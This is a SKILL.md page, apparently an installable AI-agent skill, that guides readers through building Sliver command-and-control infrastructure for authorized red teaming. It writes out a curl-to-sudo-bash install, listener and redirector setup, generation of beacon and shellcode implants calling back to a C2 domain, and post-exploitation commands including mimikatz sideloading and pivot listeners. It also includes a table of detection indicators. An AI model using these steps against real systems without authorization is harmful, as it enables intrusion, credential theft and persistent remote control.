skills/building-c2-infrastructure-with-sliver-framework/SKILL.md
Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
npx skillsauth add mukul975/anthropic-cybersecurity-skills building-c2-infrastructure-with-sliver-frameworkInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# Or run interactively
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # List active beacons
use <beacon-id> # Interact with a beacon
ps # Process listing
netstat # Network connections
execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies
sideload /path/to/mimikatz.dll # Load DLLs
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
armory install sa-ldapsearch # Install from armory
sa-ldapsearch -- "(objectClass=user)" # Execute BOF
| Tool | Purpose | Platform | |------|---------|----------| | Sliver Server | C2 team server and implant management | Linux/macOS/Windows | | Sliver Client | Operator console for team members | Cross-platform | | NGINX | Redirector and reverse proxy | Linux | | Certbot | Let's Encrypt SSL certificate generation | Linux | | Cloudflare | CDN and domain fronting | Cloud | | Armory | Sliver extension/BOF package manager | Built-in |
| Indicator | Detection Method | |-----------|-----------------| | Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings | | mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports | | DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic | | WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns | | Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
data-ai
Detect adversary lateral movement across networks using Splunk SPL queries against Windows authentication logs, SMB traffic, and remote service abuse.
testing
Identifies lateral movement techniques in enterprise networks by analyzing authentication logs, network flows, SMB traffic, and RDP sessions using Zeek, Velociraptor, and SIEM correlation rules to detect attackers moving between systems.
tools
Detect Kerberoasting attacks by monitoring for anomalous Kerberos TGS requests targeting service accounts with SPNs for offline password cracking.
development
Implement User and Entity Behavior Analytics using Elasticsearch/OpenSearch to build behavioral baselines, calculate anomaly scores, perform peer group analysis, and detect insider threat indicators such as data exfiltration, privilege abuse, and unauthorized access patterns.